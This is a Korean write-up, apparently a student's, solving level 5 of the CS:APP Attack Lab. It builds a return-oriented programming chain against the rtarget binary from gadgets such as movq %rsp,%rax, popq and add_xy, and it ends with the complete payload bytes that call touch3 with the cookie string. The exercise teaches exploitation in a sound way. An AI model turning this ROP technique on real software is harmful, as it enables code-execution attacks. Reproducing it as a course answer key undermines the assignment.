Attack lab의 마지막 단계 level 5이다. Level 4와 마찬가지로, 이번에는 level 3와 동일한 문제이나 제한조건으로 인해서 gadget들을 이용한 코드를 짜야 한다.
Level 3의 풀이를 기억해보자. sval
이라는 포인터가 우리의 쿠키 값을 담은 문자열을 가리키도록 하기 위해서, 우리는 문자열을 우선 stack에 담은 후 그 주소를 sval
에 저장하였다. 그런데 rtarget
에서는 이것이 불가능하다. 입력한 문자열이 메모리 상의 어느 주소에 저장될 지를 미리 예측하는 것이 불가능하기 때문이다. 따라서 우리는
sval
에 담아주기조금 더 현실적인 방법은 2번이다. 마침 rtarget
에는
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
와 같은 함수가 있어서 우리의 목적을 달성하기 알맞다. %rdi
에 %rsp
를, %rsi
에는 %rsp
에 대한 상대주소를 넣어주면 된다. 이때 %rsi
에 들어갈 값은 특정한 상수가 될 것인데, 상수를 immediate value로 mov
해주는 것은 불가능하므로 stack에 해당 수를 넣고 popq
해주는 방법을 사용해야 한다.
우선 %rsp
를 %rdi
에 넣어주는 방법을 생각해보자.
movl %esp, %edi
가 있으면 좋겠지만 없으니 다른 register들을 들렀다가 최종적으로 %edi
에 쓰는 방법을 써야 할 것 같다.
movq %rsp, %rax # 48 89 e0
movq %eax, %edi # 48 89 e7
두번만에 목적을 달성할 수 있었다. 이제 %esi
에 원하는 값을 어떻게 넣을지 생각해봐야 한다.
popq %rsi
에 해당하는 5e
는 없기 때문에 역시 다른 레지스터들을 거쳐서 값을 옮겨가야 할 것 같다.
popq %rax
movl %eax, %edx # 90은 nop
movl %edx, %ecx # 38 c9는 상태에 영향 없음
movl %ecx, %esi
여기까지 완료된 후에는 add_xy
의 return값이 %rax
에 저장되는데, 이를 %edi
에 옮겨써주어야 한다.
movq %rax, %rdi
마지막으로 touch3()
을 불러주면 된다.
여기까지를 종합하면, buffer를 튀어나온 메모리 부분에 들어가야 할 바이트들은 다음과 같다.
06 1a 40 00 00 00 00 00 # movq %rsp, %rax
a2 19 40 00 00 00 00 00 # movq %rax, %rdi
ab 19 40 00 00 00 00 00 # popq %rax
48 00 00 00 00 00 00 00 # %rax에 pop되는 값
dd 19 40 00 00 00 00 00 # movl %eax, %edx
34 1a 40 00 00 00 00 00 # movl %edx, %ecx
13 1a 40 00 00 00 00 00 # movl %ecx, %esi
d6 19 40 00 00 00 00 00 # <add_xy>
c5 19 40 00 00 00 00 00 # movq %rax, %rdi
fa 18 40 00 00 00 00 00 # <touch3>
37 36 39 32 37 62 62 66 # string cookie
이렇게 해서 Attack Lab의 다섯 phase를 모두 해결할 수 있었다.